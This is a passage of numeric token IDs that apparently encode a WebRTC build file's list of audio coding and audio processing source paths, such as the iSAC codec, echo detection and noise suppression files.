29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
29883,
3689,
29914,
401,
2395,
29914,
275,
562,
29914,
3396,
29914,
2856,
29914,
275,
562,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
29883,
3689,
29914,
401,
2395,
29914,
275,
562,
29914,
3396,
29914,
4993,
29914,
29886,
2335,
29918,
342,
326,
1061,
29889,
29883,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
29883,
3689,
29914,
401,
2395,
29914,
275,
562,
29914,
3396,
29914,
4993,
29914,
29880,
6739,
29918,
12181,
29918,
2774,
29890,
29896,
29953,
29918,
24051,
29889,
29883,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
29883,
3689,
29914,
401,
2395,
29914,
275,
562,
29914,
3396,
29914,
4993,
29914,
29886,
2335,
29918,
29887,
475,
29918,
24051,
29889,
29883,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
29883,
3689,
29914,
401,
2395,
29914,
275,
562,
29914,
3396,
29914,
4993,
29914,
23830,
29918,
14608,
1475,
29918,
1188,
391,
29889,
29883,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
29883,
3689,
29914,
401,
2395,
29914,
275,
562,
29914,
3396,
29914,
4993,
29914,
359,
29918,
14940,
29918,
14764,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
29883,
3689,
29914,
401,
2395,
29914,
275,
562,
29914,
3396,
29914,
4993,
29914,
4572,
29890,
1331,
29889,
29883,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
29883,
3689,
29914,
401,
2395,
29914,
275,
562,
29914,
3396,
29914,
4993,
29914,
296,
14441,
29918,
29883,
3689,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
29883,
3689,
29914,
401,
2395,
29914,
275,
562,
29914,
3396,
29914,
4993,
29914,
275,
562,
29918,
29894,
328,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
29883,
3689,
29914,
401,
2395,
29914,
275,
562,
29914,
3396,
29914,
4993,
29914,
11027,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
29883,
3689,
29914,
401,
2395,
29914,
275,
562,
29914,
3396,
29914,
4993,
29914,
9067,
29889,
29883,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
29883,
3689,
29914,
401,
2395,
29914,
275,
562,
29914,
3396,
29914,
4993,
29914,
29880,
6739,
29918,
12181,
29918,
2774,
29890,
29896,
29906,
29918,
24051,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
29883,
3689,
29914,
401,
2395,
29914,
275,
562,
29914,
3396,
29914,
4993,
29914,
23830,
29918,
14608,
1475,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
29883,
3689,
29914,
401,
2395,
29914,
275,
562,
29914,
3396,
29914,
4993,
29914,
29883,
2214,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
29883,
3689,
29914,
401,
2395,
29914,
275,
562,
29914,
3396,
29914,
4993,
29914,
29886,
2335,
29918,
4572,
29889,
29883,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
29883,
3689,
29914,
401,
2395,
29914,
275,
562,
29914,
3396,
29914,
4993,
29914,
12508,
29918,
29880,
6739,
29918,
2774,
29890,
29889,
29883,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
29883,
3689,
29914,
401,
2395,
29914,
275,
562,
29914,
3396,
29914,
4993,
29914,
4572,
29918,
12171,
29889,
29883,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
29883,
3689,
29914,
401,
2395,
29914,
275,
562,
29914,
3396,
29914,
4993,
29914,
13808,
29889,
29883,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
29883,
3689,
29914,
401,
2395,
29914,
275,
562,
29914,
3396,
29914,
4993,
29914,
29880,
19704,
29889,
29883,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
29883,
3689,
29914,
401,
2395,
29914,
275,
562,
29914,
3396,
29914,
4993,
29914,
524,
6646,
29889,
29883,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
29883,
3689,
29914,
401,
2395,
29914,
275,
562,
29914,
3396,
29914,
4993,
29914,
29880,
6739,
29918,
24051,
29889,
29883,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
29883,
3689,
29914,
401,
2395,
29914,
275,
562,
29914,
3396,
29914,
4993,
29914,
29880,
6739,
29918,
29887,
475,
29918,
2774,
29890,
29918,
24051,
29889,
29883,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
29883,
3689,
29914,
401,
2395,
29914,
275,
562,
29914,
3396,
29914,
4993,
29914,
4980,
2103,
29918,
342,
326,
1061,
29889,
29883,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
29883,
3689,
29914,
401,
2395,
29914,
275,
562,
29914,
3396,
29914,
4993,
29914,
275,
562,
29918,
7411,
29918,
1853,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
29883,
3689,
29914,
401,
2395,
29914,
275,
562,
29914,
3396,
29914,
4993,
29914,
29886,
2335,
29918,
3110,
29918,
24051,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
29883,
3689,
29914,
401,
2395,
29914,
275,
562,
29914,
3396,
29914,
4993,
29914,
12508,
29889,
29883,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
29883,
3689,
29914,
401,
2395,
29914,
275,
562,
29914,
3396,
29914,
4993,
29914,
29880,
6739,
29918,
15916,
29889,
29883,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
29883,
3689,
29914,
401,
2395,
29914,
275,
562,
29914,
3396,
29914,
4993,
29914,
21494,
5848,
29918,
279,
29918,
4299,
29918,
24051,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
29883,
3689,
29914,
401,
2395,
29914,
275,
562,
29914,
3396,
29914,
4993,
29914,
23830,
29918,
14608,
1475,
29918,
29882,
391,
29889,
29883,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
29883,
3689,
29914,
401,
2395,
29914,
275,
562,
29914,
3396,
29914,
4993,
29914,
401,
29883,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
29883,
3689,
29914,
401,
2395,
29914,
275,
562,
29914,
3396,
29914,
4993,
29914,
29886,
2335,
29918,
29887,
475,
29918,
24051,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
29883,
3689,
29914,
401,
2395,
29914,
275,
562,
29914,
3396,
29914,
4993,
29914,
29880,
6739,
29918,
12181,
29918,
2774,
29890,
29896,
29953,
29918,
24051,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
29883,
3689,
29914,
401,
2395,
29914,
275,
562,
29914,
3396,
29914,
4993,
29914,
29886,
2335,
29918,
342,
326,
1061,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
29883,
3689,
29914,
401,
2395,
29914,
275,
562,
29914,
3396,
29914,
4993,
29914,
296,
14441,
29918,
29883,
3689,
29889,
29883,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
29883,
3689,
29914,
401,
2395,
29914,
275,
562,
29914,
3396,
29914,
4993,
29914,
275,
562,
29918,
29894,
328,
29889,
29883,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
29883,
3689,
29914,
401,
2395,
29914,
275,
562,
29914,
3396,
29914,
4993,
29914,
4984,
29879,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
29883,
3689,
29914,
401,
2395,
29914,
275,
562,
29914,
3396,
29914,
4993,
29914,
4572,
29918,
12171,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
29883,
3689,
29914,
401,
2395,
29914,
275,
562,
29914,
3396,
29914,
4993,
29914,
12508,
29918,
29880,
6739,
29918,
2774,
29890,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
29883,
3689,
29914,
401,
2395,
29914,
275,
562,
29914,
3396,
29914,
4993,
29914,
29886,
2335,
29918,
4572,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
29883,
3689,
29914,
401,
2395,
29914,
275,
562,
29914,
3396,
29914,
4993,
29914,
23830,
29918,
14608,
1475,
29889,
29883,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
29883,
3689,
29914,
401,
2395,
29914,
275,
562,
29914,
3396,
29914,
4993,
29914,
29883,
2214,
29889,
29883,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
29883,
3689,
29914,
401,
2395,
29914,
275,
562,
29914,
3396,
29914,
4993,
29914,
29880,
6739,
29918,
12181,
29918,
2774,
29890,
29896,
29906,
29918,
24051,
29889,
29883,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
29883,
3689,
29914,
401,
2395,
29914,
275,
562,
29914,
3396,
29914,
4993,
29914,
29880,
6739,
29918,
15916,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
29883,
3689,
29914,
401,
2395,
29914,
275,
562,
29914,
3396,
29914,
4993,
29914,
13808,
29918,
29890,
705,
29889,
29883,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
29883,
3689,
29914,
401,
2395,
29914,
275,
562,
29914,
3396,
29914,
4993,
29914,
21494,
5848,
29918,
279,
29918,
4299,
29918,
24051,
29889,
29883,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
29883,
3689,
29914,
401,
2395,
29914,
275,
562,
29914,
3396,
29914,
4993,
29914,
4980,
2103,
29918,
342,
326,
1061,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
29883,
3689,
29914,
401,
2395,
29914,
275,
562,
29914,
3396,
29914,
4993,
29914,
29886,
2335,
29918,
3110,
29918,
24051,
29889,
29883,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
29883,
3689,
29914,
401,
2395,
29914,
275,
562,
29914,
3396,
29914,
4993,
29914,
275,
562,
29889,
29883,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
29883,
3689,
29914,
401,
2395,
29914,
275,
562,
29914,
3396,
29914,
4993,
29914,
29880,
6739,
29918,
29887,
475,
29918,
2774,
29890,
29918,
24051,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
29883,
3689,
29914,
401,
2395,
29914,
275,
562,
29914,
3396,
29914,
4993,
29914,
29880,
6739,
29918,
24051,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
29878,
1516,
29918,
5563,
29889,
617,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
8057,
29918,
4801,
3019,
29914,
13529,
292,
29918,
3317,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
8057,
29918,
4801,
3019,
29914,
6034,
1070,
29918,
9040,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
8057,
29918,
4801,
3019,
29914,
8945,
1891,
29918,
24542,
279,
8837,
29918,
342,
326,
1061,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
8057,
29918,
4801,
3019,
29914,
8945,
1891,
29918,
24542,
279,
8837,
29918,
342,
326,
1061,
29889,
617,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
8057,
29918,
4801,
3019,
29914,
13529,
292,
29918,
3317,
29889,
617,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
8057,
29918,
4801,
3019,
29914,
6034,
1070,
29918,
9040,
29889,
617,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
8057,
29918,
4801,
3019,
29914,
12676,
29918,
1707,
8837,
29918,
342,
326,
1061,
29889,
617,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
8057,
29918,
4801,
3019,
29914,
12676,
29918,
1707,
8837,
29918,
342,
326,
1061,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
29887,
475,
29918,
6451,
29918,
1454,
29918,
735,
27910,
29918,
351,
29883,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
23579,
5367,
29918,
4572,
29889,
617,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
29887,
475,
29918,
6451,
29918,
13699,
29889,
617,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
29878,
1516,
29918,
5563,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
1983,
29914,
1983,
29918,
3221,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
1983,
29914,
1983,
29916,
29918,
3221,
29889,
29883,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
1983,
29914,
1217,
895,
29918,
19303,
23881,
29918,
29916,
29889,
29883,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
1983,
29914,
1983,
29916,
29918,
3221,
29918,
29883,
29889,
29883,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
1983,
29914,
1753,
1475,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
1983,
29914,
1217,
895,
29918,
19303,
23881,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
1983,
29914,
1983,
29918,
3221,
29889,
29883,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
1983,
29914,
1983,
29916,
29918,
3221,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
1983,
29914,
10499,
29918,
9053,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
1983,
29914,
1217,
895,
29918,
19303,
23881,
29918,
29916,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
1983,
29914,
1217,
895,
29918,
19303,
23881,
29889,
29883,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
1983,
29914,
1983,
29916,
29918,
1753,
1475,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
690,
333,
950,
29918,
8057,
29918,
4801,
3019,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
18494,
29918,
19170,
29918,
13699,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
18494,
29918,
9040,
29889,
617,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
1017,
15702,
29918,
29881,
2650,
428,
29889,
617,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
9482,
29918,
9990,
29918,
667,
29918,
369,
3709,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
2856,
29914,
18494,
29918,
27959,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
2856,
29914,
2917,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
2856,
29914,
18494,
29918,
2557,
29918,
1493,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
2856,
29914,
17640,
29918,
18494,
29918,
19170,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
2856,
29914,
29887,
475,
29918,
6451,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
2856,
29914,
18494,
29918,
27959,
29918,
14399,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
2856,
29914,
18494,
29918,
19170,
29918,
6112,
6765,
29889,
617,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
2856,
29914,
18494,
29918,
27959,
29918,
14399,
29889,
617,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
2856,
29914,
29874,
687,
29918,
15070,
29889,
617,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
2856,
29914,
29874,
687,
29918,
15070,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
2856,
29914,
18494,
29918,
19170,
29918,
6112,
6765,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
2856,
29914,
18494,
29918,
19170,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
2856,
29914,
18494,
29918,
19170,
29889,
617,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
2856,
29914,
2917,
29889,
617,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
351,
29883,
29906,
29914,
1639,
3733,
630,
29918,
29887,
475,
29918,
2764,
345,
29889,
29882,
742,
13,
3986,
12801,
29898,
29873,
29887,
1365,
666,
29918,
4351,
29918,
2029,
6802,
705,
1182,
14246,
29918,
29881,
1028,
29914,
7576,
29914,
18494,
29918,
19170,
29914,
351,
29883,
29906,
29914,
5365,
3425,
29918,
4572,
